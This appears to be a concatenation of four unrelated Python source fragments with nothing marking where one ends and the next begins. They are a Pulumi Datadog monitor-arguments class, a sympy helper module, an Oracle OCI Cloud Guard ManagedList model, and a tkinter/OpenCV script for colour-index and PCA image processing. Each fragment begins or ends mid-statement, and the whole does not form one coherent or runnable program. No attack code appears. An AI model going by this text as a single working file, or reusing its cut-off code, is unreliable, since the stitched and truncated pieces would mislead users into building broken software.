by other resources (e.g. SLO, composite monitor). :param pulumi.Input[bool] groupby_simple_monitor: Whether or not to trigger one alert if any source breaches a threshold. This is only used by log monitors. Defaults to `false`. :param pulumi.Input[bool] include_tags: A boolean indicating whether notifications from this monitor automatically insert its triggering tags into the title. Defaults to `true`. :param pulumi.Input[bool] locked: A boolean indicating whether changes to this monitor should be restricted to the creator or admins. Defaults to `false`. :param pulumi.Input['MonitorMonitorThresholdWindowsArgs'] monitor_threshold_windows: A mapping containing `recovery_window` and `trigger_window` values, e.g. `last_15m` . Can only be used for, and are required for, anomaly monitors. :param pulumi.Input['MonitorMonitorThresholdsArgs'] monitor_thresholds: Alert thresholds of the monitor. :param pulumi.Input[int] new_group_delay: The time (in seconds) to skip evaluations for new groups. `new_group_delay` overrides `new_host_delay` if it is set to a nonzero value. :param pulumi.Input[int] new_host_delay: **Deprecated**. See `new_group_delay`. Time (in seconds) to allow a host to boot and applications to fully start before starting the evaluation of monitor results. Should be a non-negative integer. This value is ignored for simple monitors and monitors not grouped by host. Defaults to `300`. The only case when this should be used is to override the default and set `new_host_delay` to zero for monitors grouped by host. :param pulumi.Input[int] no_data_timeframe: The number of minutes before a monitor will notify when data stops reporting. Provider defaults to 10 minutes. We recommend at least 2x the monitor timeframe for metric alerts or 2 minutes for service checks. :param pulumi.Input[bool] notify_audit: A boolean indicating whether tagged users will be notified on changes to this monitor. Defaults to `false`. :param pulumi.Input[bool] notify_no_data: A boolean indicating whether this monitor will notify when data stops reporting. Defaults to `false`. :param pulumi.Input[int] priority: Integer from 1 (high) to 5 (low) indicating alert severity. :param pulumi.Input[int] renotify_interval: The number of minutes after the last notification before a monitor will re-notify on the current status. It will only re-notify if it's not resolved. :param pulumi.Input[int] renotify_occurrences: The number of re-notification messages that should be sent on the current status. :param pulumi.Input[Sequence[pulumi.Input[str]]] renotify_statuses: The types of statuses for which re-notification messages should be sent. :param pulumi.Input[bool] require_full_window: A boolean indicating whether this monitor needs a full window of data before it's evaluated. We highly recommend you set this to `false` for sparse metrics, otherwise some evaluations will be skipped. Default: `true` for `on average`, `at all times` and `in total` aggregation. `false` otherwise. :param pulumi.Input[Sequence[pulumi.Input[str]]] tags: A list of tags to associate with your monitor. This can help you categorize and filter monitors in the manage monitors page of the UI. Note: it's not currently possible to filter by these tags when querying via the API :param pulumi.Input[int] timeout_h: The number of hours of the monitor not reporting data before it will automatically resolve from a triggered state. :param pulumi.Input[bool] validate: If set to `false`, skip the validation call done during plan. """ pulumi.set(__self__, "message", message) pulumi.set(__self__, "name", name) pulumi.set(__self__, "query", query) pulumi.set(__self__, "type", type) if enable_logs_sample is not None: pulumi.set(__self__, "enable_logs_sample", enable_logs_sample) if escalation_message is not None: pulumi.set(__self__, "escalation_message", escalation_message) if evaluation_delay is not None: pulumi.set(__self__, "evaluation_delay", evaluation_delay) if force_delete is not None: pulumi.set(__self__, "force_delete", force_delete) if groupby_simple_monitor is not None: pulumi.set(__self__, "groupby_simple_monitor", groupby_simple_monitor) if include_tags is not None: pulumi.set(__self__, "include_tags", include_tags) if locked is not None: pulumi.set(__self__, "locked", locked) if monitor_threshold_windows is not None: pulumi.set(__self__, "monitor_threshold_windows", monitor_threshold_windows) if monitor_thresholds is not None: pulumi.set(__self__, "monitor_thresholds", monitor_thresholds) if new_group_delay is not None: pulumi.set(__self__, "new_group_delay", new_group_delay) if new_host_delay is not None: warnings.warn("""Use `new_group_delay` except when setting `new_host_delay` to zero.""", DeprecationWarning) pulumi.log.warn("""new_host_delay is deprecated: Use `new_group_delay` except when setting `new_host_delay` to zero.""") if new_host_delay is not None: pulumi.set(__self__, "new_host_delay", new_host_delay) if no_data_timeframe is not None: pulumi.set(__self__, "no_data_timeframe", no_data_timeframe) if notify_audit is not None: pulumi.set(__self__, "notify_audit", notify_audit) if notify_no_data is not None: pulumi.set(__self__, "notify_no_data", notify_no_data) if priority is not None: pulumi.set(__self__, "priority", priority) if renotify_interval is not None: pulumi.set(__self__, "renotify_interval", renotify_interval) if renotify_occurrences is not None: pulumi.set(__self__, "renotify_occurrences", renotify_occurrences) if renotify_statuses is not None: pulumi.set(__self__, "renotify_statuses", renotify_statuses) if require_full_window is not None: pulumi.set(__self__, "require_full_window", require_full_window) if restricted_roles is not None: pulumi.set(__self__, "restricted_roles", restricted_roles) if tags is not None: pulumi.set(__self__, "tags", tags) if timeout_h is not None: pulumi.set(__self__, "timeout_h", timeout_h) if validate is not None: pulumi.set(__self__, "validate", validate) @property @pulumi.getter def message(self) -> pulumi.Input[str]: """ A message to include with notifications for this monitor. """ return pulumi.get(self, "message") @message.setter def message(self, value: pulumi.Input[str]): pulumi.set(self, "message", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ Name of Datadog monitor. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def query(self) -> pulumi.Input[str]: """ The monitor query to notify on. Note this is not the same query you see in the UI and the syntax is different depending on the monitor type, please see the [API Reference](https://docs.datadoghq.com/api/v1/monitors/#create-a-monitor) for details. `terraform plan` will validate query contents unless `validate` is set to `false`. **Note:** APM
""" Utilities for sympy. *** SUffix conventions *Arr - numpy array *Mat - sympy.Matrix N X N *Vec - sympy.Matrix N X 1 *s - list Notes 1. By default, symbols are added to locals() of the caller. This can be changed by using the dct optional keyword. This means that all user callable functions must capture the correct symbol dictionary and use this explicitly in internal calls. """ import collections import copy import inspect import numpy as np import sympy SMALL_VALUE = 1e-8 def _getDct(dct, frame): """ Gets the dictionary for the frame. Parameters ---------- dct: dictionary to use if non-None frame: stack frame Returns ------- dict """ if dct is None: #dct = frame.f_back.f_locals dct = frame.f_back.f_globals return dct def addSymbols(symbolStr, dct=None, real=True, negative=False): """ Adds symbols to the dictionary. Parameters ---------- symbolStr: str dct: dict default: globals() of caller kwarg: optional arguments for sympy.symbols """ newDct = _getDct(dct, inspect.currentframe()) _addSymbols(symbolStr, newDct, real=real, negative=negative) def _addSymbols(symbolStr, dct, **kwargs): symbols = symbolStr.split(" ") for symbol in symbols: dct[symbol] = sympy.Symbol(symbol, **kwargs) def removeSymbols(symbolStr, dct=None): """ Removes symbols from the dictionary. Parameters ---------- symbolStr: str dct: dict Namespace dictionary """ newDct = _getDct(dct, inspect.currentframe()) _removeSymbols(symbolStr, newDct) def _removeSymbols(symbolStr, dct): symbols = symbolStr.split(" ") for symbol in symbols: if symbol in dct.keys(): del dct[symbol] def isSymbol(obj): if "is_symbol" in dir(obj): return obj.is_symbol else: return False def substitute(expression, subs=None): """ Substitutes into the expression. Parameters ---------- expression: sympy.expression subs: dict key: sympy.symbol value: number Returns ------- sympy.expression """ if subs is None: subs = {} if isNumber(expression): return expression if isSymbol(expression): if expression.name in subs: return subs[expression.name] elif expression in subs: return subs[expression] else: return expression expr = expression.copy() # Must be an expression symbolDct = {s.name: s for s in expression.free_symbols} # Update entry in substitution to be the same as the expression newSubs = dict(subs) for key, value in subs.items(): if key.name in symbolDct.keys(): del newSubs[key] newSubs[symbolDct[key.name]] = value expr = expr.subs(newSubs) return sympy.simplify(expr) def evaluate(expression, isNumpy=True, **kwargs): """ Evaluates the solution for the substitutions provided. Parameters ---------- expression: sympy.Add/number isNumpy: bool return float or ndarray of float kwargs: dict keyword arguments for substitute Returns ------- float/np.ndarray """ if isSympy(expression): val = _evaluate(expression, isNumpy=isNumpy, **kwargs) else: val = expression return val def _evaluate(expression, isNumpy=True, **kwargs): """ Evaluates the solution for the substitutions provided. Parameters ---------- expression: sympy.Add isNumpy: bool return float or ndarray of float kwargs: dict keyword arguments for substitute Returns ------- float/np.ndarray """ if isNumber(expression): if isNumpy: return expressionToNumber(expression) else: return expression # Evaluate expr = substitute(expression, **kwargs) # Symbol substitution can create a number if isNumber(expr): return expr val = expr.evalf() if hasSymbols(val): return val if isNumpy: if "rows" in dir(expression): result = np.array(val) else: try: result = float(val) except TypeError: result = complex(val) else: result = val return result def mkVector(nameRoot, numRow, dct=None): """ Constructs a vector of symbols. Parameters ---------- nameRoot: str root name for elements of the vector numRow: int dct: dict Namespace dictionary Returns ------- sympy.Matrix numRow X 1 """ newDct = _getDct(dct, inspect.currentframe()) return _mkVector(nameRoot, numRow, newDct) def _mkVector(nameRoot, numRow, dct): # Create the solution vector. The resulting vector is in the global name space. symbols = ["%s_%d" % (nameRoot, n) for n in range(numRow)] symbolStr = " ".join(symbols) addSymbols(symbolStr, dct=dct) return sympy.Matrix([ [s] for s in symbols]) def flatten(vec): """ Converts a sympy N X 1 matrix to a list. Parameters ---------- vec: symbpy.Matrix N X 1 Returns ------- list """ return [ [v for v in z] for z in vec][0] def vectorRoundToZero(vec): if vec.cols > 1: RuntimeError("Can only handle vectors.") newValues = [roundToZero(v) for v in vec] return sympy.Matrix(newValues) def roundToZero(v): if isSympy(v): if not v.is_Number: return v if np.abs(v) < SMALL_VALUE: return 0 return v def solveLinearSystem(aMat, bMat): """ Finds a solution to A*x = b. Chooses an arbitrary solution if multiple solutions exist. Parameters ---------- aMat: sympy.Matrix (N X N) A bMat: sympy.Matrix (N X 1) b Returns ------- sympy.Matrix: N X 1 """ numRow = aMat.rows dummyVec = mkVector("x", numRow) dummySymbols = [v for v in dummyVec] # system = aMat, bMat result = sympy.linsolve(system, *dummyVec) lst = flatten(result) # Handle case of multiple solutions subs = {s: 1 for s in lst if s in dummySymbols} return evaluate(sympy.Matrix(lst), subs=subs) def expressionToNumber(expression): """ Converts an exprssion to a numpy number. Throws an exception if it cannot be done. Parameters ---------- expression: sympy.Add Returns ------- float/complex Raises ------- TypeError if not convertable to a number """ # Convert expression to a number if isSympy(expression): val = expression.evalf() if val.is_real: val = float(val) else: val = complex(val) else: val = expression # already a number # Eliminate small values if np.abs(val) < SMALL_VALUE: val = 0 if np.abs(np.angle(val)) < SMALL_VALUE: val = np.sign(val) * np.abs(val) return val def asRealImag(val): if isSympy(val): return val.as_real_imag() cmplxVal = complex(val) return (cmplxVal.real, cmplxVal.imag) def isConjugate(val1, val2): """ Tests for complex conjugates. Parameters ---------- val1: number or expression val2: number or expression Returns ------- bool """ realImag = [asRealImag(val1), asRealImag(val2)] isSameReal = realImag[0][0] == realImag[1][0] isSameImag = realImag[0][1] == -realImag[1][1] return isSameReal and isSameImag def _hasSymbols(val): if isSympy(val): return len(val.free_symbols) > 0 else: return False def hasSymbols(val): if isIndexable(val): trues = [_hasSymbols(v) for v in val] else: trues = [_hasSymbols(val)] return any(trues) def isSympy(val): """ Tests if this is a sympy object. Parameters ---------- val: object Returns ------- bool """ properties = dir(val) return ("is_symbol" in properties) or ("evalf" in properties) def isNumber(val): """ Tests if this is a number in base python or sympy. Parameters ---------- val: float/int/complex/sympy.expression Returns ------- bool """ try: _ = complex(val) return True except TypeError: return False def isReal(val): if isSympy(val): return val.is_real return np.isreal(val) def isComplex(val): return isNumber(val) and (not isReal(val)) def isZero(val): """ Tests if a scalar, number or symbol, is 0. Parameters ---------- val: number or symbol or expression Returns ------- bool """ if isSympy(val): try: val = expressionToNumber(val) except Exception: return False try: if np.isclose(np.abs(val), 0): return True except TypeError: newVal = complex(val) return np.abs(newVal) == 0 def isVecZero(vec): """ Tests if a vector, numbers or symbols, are equal. Parameters ---------- vec: sympy.Matrix (N X 1) Returns ------- bool """ trues = [isZero(e) for e in vec] return all(trues) def solveLinearSingular(aMat, bVec, isParameterized=False, defaultValue=1): """ Finds a solution to a linear system where the linear matrix may be singular. Parameter values are set to 1 if not isParameterized. Parameters ---------- aMat: sympy.Matrix N X N bVec: sympy.Matrix N X 1 isParameterized: bool Return the parameterized result Returns ------- sympy.Matrix N X 1 """ solution = aMat.gauss_jordan_solve(bVec) solutionVec = solution[0] if not isParameterized: parameterMat = solution[1] for parameter in parameterMat: solutionVec = solutionVec.subs(parameter, defaultValue) solutionVec = solutionVec.evalf() return solutionVec def isIndexable(obj): return "__getitem__" in dir(obj) def recursiveEvaluate(obj, **kwargs): """ Recursively evaluates symbols encountered in muteable indexables of type: list, np.array, sympy.Matrix (and maybe others) Parameters ---------- obj: sympy.expr/number/indexable an indexable support indexing. kwargs: dict keyword arguments for evaluate Returns ------- object with same structure as original """ if isIndexable(obj): # Is a container of other objects if "tuple" in str(obj.__class__): newObj = list(obj) else: newObj = copy.deepcopy(obj) newerObj = copy.deepcopy(newObj) for idx, entry in enumerate(newObj): newerObj[idx] = recursiveEvaluate(entry, **kwargs) return newerObj # Do the numeric evaluation return evaluate(obj, **kwargs) def recursiveEquals(obj1, obj2, **kwargs): """ Recursively evaluates if two indexable, mutable objects are equal under subtituions. Parameters ---------- obj: sympy.expr/number/indexable an indexable support indexing. kwargs: dict keyword arguments for evaluate Returns ------- bool """ if isIndexable(obj1) != isIndexable(obj2): return False if isIndexable(obj1): for entry1, entry2 in zip(obj1, obj2): if not recursiveEquals(entry1, entry2, **kwargs): return False return True # Do the numeric evaluation num1 = expressionToNumber(evaluate(obj1, **kwargs)) num2 = expressionToNumber(evaluate(obj2, **kwargs)) return np.isclose(num1, num2) def vectorAsRealImag(vec): """ Expresses a vector as the sum of real and imaginary parts. Parameters ---------- vec - sympy.Matrix Returns ------- sympy.Matrix, sympy.Matrix real vector, imaginary vector """ reals = [] imags = [] for entry in vec: real, imag = asRealImag(entry) reals.append(real) imags.append(imag) return sympy.Matrix(reals), sympy.Matrix(imags) def eigenvects(mat): """ Computes eigenvector results, handling
# coding: utf-8 # Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class ManagedList(object): """ A cloud guard list containing one or more items of a list type """ #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "CIDR_BLOCK" LIST_TYPE_CIDR_BLOCK = "CIDR_BLOCK" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "USERS" LIST_TYPE_USERS = "USERS" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "GROUPS" LIST_TYPE_GROUPS = "GROUPS" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "IPV4ADDRESS" LIST_TYPE_IPV4_ADDRESS = "IPV4ADDRESS" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "IPV6ADDRESS" LIST_TYPE_IPV6_ADDRESS = "IPV6ADDRESS" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "RESOURCE_OCID" LIST_TYPE_RESOURCE_OCID = "RESOURCE_OCID" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "REGION" LIST_TYPE_REGION = "REGION" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "COUNTRY" LIST_TYPE_COUNTRY = "COUNTRY" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "STATE" LIST_TYPE_STATE = "STATE" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "CITY" LIST_TYPE_CITY = "CITY" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "TAGS" LIST_TYPE_TAGS = "TAGS" #: A constant which can be used with the list_type property of a ManagedList. #: This constant has a value of "GENERIC" LIST_TYPE_GENERIC = "GENERIC" #: A constant which can be used with the feed_provider property of a ManagedList. #: This constant has a value of "CUSTOMER" FEED_PROVIDER_CUSTOMER = "CUSTOMER" #: A constant which can be used with the feed_provider property of a ManagedList. #: This constant has a value of "ORACLE" FEED_PROVIDER_ORACLE = "ORACLE" #: A constant which can be used with the lifecycle_state property of a ManagedList. #: This constant has a value of "CREATING" LIFECYCLE_STATE_CREATING = "CREATING" #: A constant which can be used with the lifecycle_state property of a ManagedList. #: This constant has a value of "UPDATING" LIFECYCLE_STATE_UPDATING = "UPDATING" #: A constant which can be used with the lifecycle_state property of a ManagedList. #: This constant has a value of "ACTIVE" LIFECYCLE_STATE_ACTIVE = "ACTIVE" #: A constant which can be used with the lifecycle_state property of a ManagedList. #: This constant has a value of "INACTIVE" LIFECYCLE_STATE_INACTIVE = "INACTIVE" #: A constant which can be used with the lifecycle_state property of a ManagedList. #: This constant has a value of "DELETING" LIFECYCLE_STATE_DELETING = "DELETING" #: A constant which can be used with the lifecycle_state property of a ManagedList. #: This constant has a value of "DELETED" LIFECYCLE_STATE_DELETED = "DELETED" #: A constant which can be used with the lifecycle_state property of a ManagedList. #: This constant has a value of "FAILED" LIFECYCLE_STATE_FAILED = "FAILED" def __init__(self, **kwargs): """ Initializes a new ManagedList object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param id: The value to assign to the id property of this ManagedList. :type id: str :param display_name: The value to assign to the display_name property of this ManagedList. :type display_name: str :param description: The value to assign to the description property of this ManagedList. :type description: str :param compartment_id: The value to assign to the compartment_id property of this ManagedList. :type compartment_id: str :param source_managed_list_id: The value to assign to the source_managed_list_id property of this ManagedList. :type source_managed_list_id: str :param list_type: The value to assign to the list_type property of this ManagedList. Allowed values for this property are: "CIDR_BLOCK", "USERS", "GROUPS", "IPV4ADDRESS", "IPV6ADDRESS", "RESOURCE_OCID", "REGION", "COUNTRY", "STATE", "CITY", "TAGS", "GENERIC", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type list_type: str :param list_items: The value to assign to the list_items property of this ManagedList. :type list_items: list[str] :param feed_provider: The value to assign to the feed_provider property of this ManagedList. Allowed values for this property are: "CUSTOMER", "ORACLE", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type feed_provider: str :param is_editable: The value to assign to the is_editable property of this ManagedList. :type is_editable: bool :param time_created: The value to assign to the time_created property of this ManagedList. :type time_created: datetime :param time_updated: The value to assign to the time_updated property of this ManagedList. :type time_updated: datetime :param lifecycle_state: The value to assign to the lifecycle_state property of this ManagedList. Allowed values for this property are: "CREATING", "UPDATING", "ACTIVE", "INACTIVE", "DELETING", "DELETED", "FAILED", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type lifecycle_state: str :param lifecyle_details: The value to assign to the lifecyle_details property of this ManagedList. :type lifecyle_details: str :param freeform_tags: The value to assign to the freeform_tags property of this ManagedList. :type freeform_tags: dict(str, str) :param defined_tags: The value to assign to the defined_tags property of this ManagedList. :type defined_tags: dict(str, dict(str, object)) :param system_tags: The value to assign to the system_tags property of this ManagedList. :type system_tags: dict(str, dict(str, object)) """ self.swagger_types = { 'id': 'str', 'display_name': 'str', 'description': 'str', 'compartment_id': 'str', 'source_managed_list_id': 'str', 'list_type': 'str', 'list_items': 'list[str]', 'feed_provider': 'str', 'is_editable': 'bool', 'time_created': 'datetime', 'time_updated': 'datetime', 'lifecycle_state': 'str', 'lifecyle_details': 'str', 'freeform_tags': 'dict(str, str)', 'defined_tags': 'dict(str, dict(str, object))', 'system_tags': 'dict(str, dict(str, object))' } self.attribute_map = { 'id': 'id', 'display_name': 'displayName', 'description': 'description', 'compartment_id': 'compartmentId', 'source_managed_list_id': 'sourceManagedListId', 'list_type': 'listType', 'list_items': 'listItems', 'feed_provider': 'feedProvider', 'is_editable': 'isEditable', 'time_created': 'timeCreated', 'time_updated': 'timeUpdated', 'lifecycle_state': 'lifecycleState', 'lifecyle_details': 'lifecyleDetails', 'freeform_tags': 'freeformTags', 'defined_tags': 'definedTags', 'system_tags': 'systemTags' } self._id = None self._display_name = None self._description = None self._compartment_id = None self._source_managed_list_id = None self._list_type = None self._list_items = None self._feed_provider = None self._is_editable = None self._time_created = None self._time_updated = None self._lifecycle_state = None self._lifecyle_details = None self._freeform_tags = None self._defined_tags = None self._system_tags = None @property def id(self): """ **[Required]** Gets the id of this ManagedList. Unique identifier that is immutable on creation :return: The id of this ManagedList. :rtype: str """ return self._id @id.setter def id(self, id): """ Sets the id of this ManagedList. Unique identifier that is immutable on creation :param id: The id of this ManagedList. :type: str """ self._id = id @property def display_name(self): """ **[Required]** Gets the display_name of this ManagedList. ManagedList display name. :return: The display_name of this ManagedList. :rtype: str """ return self._display_name @display_name.setter def display_name(self, display_name): """ Sets the display_name of this ManagedList. ManagedList display name. :param display_name: The display_name of this ManagedList. :type: str """ self._display_name = display_name @property def description(self): """ Gets the description of this ManagedList. ManagedList description. :return: The description of this ManagedList. :rtype: str """ return self._description @description.setter def description(self, description): """ Sets the description of this ManagedList. ManagedList description. :param description: The description of this ManagedList. :type: str """ self._description = description @property def compartment_id(self): """ **[Required]** Gets the compartment_id of this ManagedList. Compartment Identifier where the resource is created :return: The compartment_id of this ManagedList. :rtype: str """ return self._compartment_id @compartment_id.setter def
<filename>batchprocess.py #from tkinter import * #from tkinter import ttk import tkinter.filedialog as filedialog from tkinter import messagebox from PIL import Image,ImageDraw,ImageFont from PIL import ImageTk,ImageGrab import cv2 from skimage import filters import matplotlib.pyplot as pyplt import numpy as np from sklearn.cluster import KMeans import tkintercorestat import tkintercore import cal_kernelsize import os import csv import scipy.linalg as la import multiprocessing import time #from multiprocessing import Process batch_colorbandtable=np.array([[255,0,0],[255,127,0],[255,255,0],[127,255,0],[0,255,255],[0,127,255],[0,0,255],[127,0,255],[75,0,130],[255,0,255]],'uint8') class batch_img(): def __init__(self,size,bands): self.size=size self.bands=bands class batch_ser_func(): def __init__(self,filename): self.file=filename self.folder=FOLDER self.exportpath=exportpath self.batch_Multiimage={} self.batch_Multigray={} self.batch_Multitype={} self.batch_Multiimagebands={} self.batch_Multigraybands={} self.batch_displaybandarray={} self.batch_originbandarray={} self.batch_originpcabands={} self.batch_colordicesband={} self.batch_results={} self.kernersizes={} self.reseglabels=None self.displayfea_l=0 self.displayfea_w=0 self.RGB_vector=None self.colorindex_vector=None self.displaypclagels=None def Open_batchimage(self): try: Filersc=cv2.imread(self.folder+'/'+self.file,flags=cv2.IMREAD_ANYCOLOR) height,width,channel=np.shape(Filersc) Filesize=(height,width) print('filesize:',height,width) RGBfile=cv2.cvtColor(Filersc,cv2.COLOR_BGR2RGB) Grayfile=cv2.cvtColor(Filersc,cv2.COLOR_BGR2Lab) Grayfile=cv2.cvtColor(Grayfile,cv2.COLOR_BGR2GRAY) Grayimg=batch_img(Filesize,Grayfile) RGBbands=np.zeros((channel,height,width)) for j in range(channel): band=RGBfile[:,:,j] band=np.where(band==0,1e-6,band) RGBbands[j,:,:]=band RGBimg=batch_img(Filesize,RGBbands) tempdict={self.file:RGBimg} self.batch_Multiimagebands.update(tempdict) tempdict={self.file:Grayfile} self.batch_Multigray.update(tempdict) tempdict={self.file:0} self.batch_Multitype.update(tempdict) tempdict={self.file:Grayimg} self.batch_Multigraybands.update(tempdict) except: # messagebox.showerror('Invalid Image Format','Cannot open '+filename) return False return True def fillbands(self,originbands,displaybands,vector,vectorindex,name,band): tempdict={name:band} if name not in originbands: originbands.update(tempdict) image=cv2.resize(band,(self.displayfea_w,self.displayfea_l),interpolation=cv2.INTER_LINEAR) displaydict={name:image} displaybands.update(displaydict) fea_bands=image.reshape((self.displayfea_l*self.displayfea_w),1)[:,0] vector[:,vectorindex]=vector[:,vectorindex]+fea_bands return def singleband(self): try: bands=self.batch_Multiimagebands[self.file].bands except: return channel,fea_l,fea_w=bands.shape print('bandsize',fea_l,fea_w) if fea_l*fea_w>2000*2000: ratio=batch_findratio([fea_l,fea_w],[2000,2000]) else: ratio=1 print('ratio',ratio) originbands={} displays={} displaybands=cv2.resize(bands[0,:,:],(int(fea_w/ratio),int(fea_l/ratio)),interpolation=cv2.INTER_LINEAR) displayfea_l,displayfea_w=displaybands.shape self.RGB_vector=np.zeros((displayfea_l*displayfea_w,3)) self.colorindex_vector=np.zeros((displayfea_l*displayfea_w,12)) self.displayfea_l,self.displayfea_w=displaybands.shape self.RGB_vectorr=np.zeros((displayfea_l*displayfea_w,3)) self.colorindex_vector=np.zeros((displayfea_l*displayfea_w,12)) Red=bands[0,:,:] Green=bands[1,:,:] Blue=bands[2,:,:] self.fillbands(originbands,displays,self.RGB_vector,0,'Band1',Red) self.fillbands(originbands,displays,self.RGB_vector,1,'Band2',Green) self.fillbands(originbands,displays,self.RGB_vector,2,'Band3',Blue) #secondsmallest_R=np.partition(Red,1)[1][0] #secondsmallest_G=np.partition(Green,1)[1][0] #secondsmallest_B=np.partition(Blue,1)[1][0] #Red=Red+secondsmallest_R #Green=Green+secondsmallest_G #Blue=Blue+secondsmallest_B PAT_R=Red/(Red+Green) PAT_G=Green/(Green+Blue) PAT_B=Blue/(Blue+Red) ROO_R=Red/Green ROO_G=Green/Blue ROO_B=Blue/Red DIF_R=2*Red-Green-Blue DIF_G=2*Green-Blue-Red DIF_B=2*Blue-Red-Green GLD_R=Red/(np.multiply(np.power(Blue,0.618),np.power(Green,0.382))) GLD_G=Green/(np.multiply(np.power(Blue,0.618),np.power(Red,0.382))) GLD_B=Blue/(np.multiply(np.power(Green,0.618),np.power(Red,0.382))) self.fillbands(originbands,displays,self.colorindex_vector,0,'PAT_R',PAT_R) self.fillbands(originbands,displays,self.colorindex_vector,1,'PAT_G',PAT_G) self.fillbands(originbands,displays,self.colorindex_vector,2,'PAT_B',PAT_B) self.fillbands(originbands,displays,self.colorindex_vector,3,'ROO_R',ROO_R) self.fillbands(originbands,displays,self.colorindex_vector,4,'ROO_G',ROO_G) self.fillbands(originbands,displays,self.colorindex_vector,5,'ROO_B',ROO_B) self.fillbands(originbands,displays,self.colorindex_vector,6,'DIF_R',DIF_R) self.fillbands(originbands,displays,self.colorindex_vector,7,'DIF_G',DIF_G) self.fillbands(originbands,displays,self.colorindex_vector,8,'DIF_B',DIF_B) self.fillbands(originbands,displays,self.colorindex_vector,9,'GLD_R',GLD_R) self.fillbands(originbands,displays,self.colorindex_vector,10,'GLD_G',GLD_G) self.fillbands(originbands,displays,self.colorindex_vector,11,'GLD_B',GLD_B) NDI=128*((Green-Red)/(Green+Red)+1) VEG=Green/(np.power(Red,0.667)*np.power(Blue,(1-0.667))) Greenness=Green/(Green+Red+Blue) CIVE=0.44*Red+0.811*Green+0.385*Blue+18.7845 MExG=1.262*Green-0.844*Red-0.311*Blue NDRB=(Red-Blue)/(Red+Blue) NGRDI=(Green-Red)/(Green+Red) colorindex_vector=np.zeros((displayfea_l*displayfea_w,7)) self.fillbands(originbands,displays,colorindex_vector,0,'NDI',NDI) self.fillbands(originbands,displays,colorindex_vector,1,'VEG',VEG) self.fillbands(originbands,displays,colorindex_vector,2,'Greenness',Greenness) self.fillbands(originbands,displays,colorindex_vector,3,'CIVE',CIVE) self.fillbands(originbands,displays,colorindex_vector,4,'MExG',MExG) self.fillbands(originbands,displays,colorindex_vector,5,'NDRB',NDRB) self.fillbands(originbands,displays,colorindex_vector,6,'NGRDI',NGRDI) rgb_M=np.mean(self.RGB_vector.T,axis=1) colorindex_M=np.mean(self.colorindex_vector.T,axis=1) print('rgb_M',rgb_M,'colorindex_M',colorindex_M) rgb_C=self.RGB_vector-rgb_M colorindex_C=self.colorindex_vector-colorindex_M rgb_V=np.corrcoef(rgb_C.T) color_V=np.corrcoef(colorindex_C.T) rgb_std=rgb_C/np.std(self.RGB_vector.T,axis=1) color_std=colorindex_C/np.std(self.colorindex_vector.T,axis=1) rgb_eigval,rgb_eigvec=np.linalg.eig(rgb_V) color_eigval,color_eigvec=np.linalg.eig(color_V) print('rgb_eigvec',rgb_eigvec) print('color_eigvec',color_eigvec) featurechannel=14 pcabands=np.zeros((self.colorindex_vector.shape[0],featurechannel)) for i in range(3): pcn=rgb_eigvec[:,i] pcnbands=np.dot(rgb_std,pcn) pcvar=np.var(pcnbands) print('rgb pc',i+1,'var=',pcvar) pcabands[:,i]=pcabands[:,i]+pcnbands pcabands[:,1]=np.copy(pcabands[:,2]) pcabands[:,2]=pcabands[:,2]*0 for i in range(2,featurechannel): pcn=color_eigvec[:,i-2] pcnbands=np.dot(color_std,pcn) pcvar=np.var(pcnbands) print('color index pc',i-1,'var=',pcvar) pcabands[:,i]=pcabands[:,i]+pcnbands displayfea_vector=np.concatenate((self.RGB_vector,self.colorindex_vector),axis=1) self.batch_originpcabands.update({self.file:displayfea_vector}) pcabandsdisplay=pcabands.reshape(displayfea_l,displayfea_w,featurechannel) tempdictdisplay={'LabOstu':pcabandsdisplay} self.batch_displaybandarray.update({self.file:tempdictdisplay}) self.batch_originbandarray.update({self.file:originbands}) def singleband_oldversion(self): try: bands=self.batch_Multigraybands[self.file].bands except: return bandsize=self.batch_Multigraybands[self.file].size print('bandsize',bandsize) try: channel,height,width=bands.shape except: channel=0 if channel>1: bands=bands[0,:,:] ostu=filters.threshold_otsu(bands) bands=bands.astype('float32') bands=bands/ostu if bandsize[0]*bandsize[1]>2000*2000: ratio=batch_findratio([bandsize[0],bandsize[1]],[2000,2000]) else: ratio=1 print('ratio',ratio) originbands={} displays={} fea_l,fea_w=bands.shape # fea_vector=np.zeros((fea_l*fea_w,10)) # pyplt.imsave('batch_bands.png',bands) displaybands=cv2.resize(bands,(int(bandsize[1]/ratio),int(bandsize[0]/ratio)),interpolation=cv2.INTER_LINEAR) # pyplt.imsave('batch_displaybands.png',displaybands) displayfea_l,displayfea_w=displaybands.shape self.displayfea_l,self.displayfea_w=displaybands.shape fea_vector=np.zeros((displayfea_l*displayfea_w,3)) displayfea_vector=np.zeros((displayfea_l*displayfea_w,7)) colorfea_vector=np.zeros((displayfea_l*displayfea_w,7)) if 'LabOstu' not in originbands: originbands.update({'LabOstu':bands}) fea_bands=bands.reshape(fea_l*fea_w,1)[:,0] 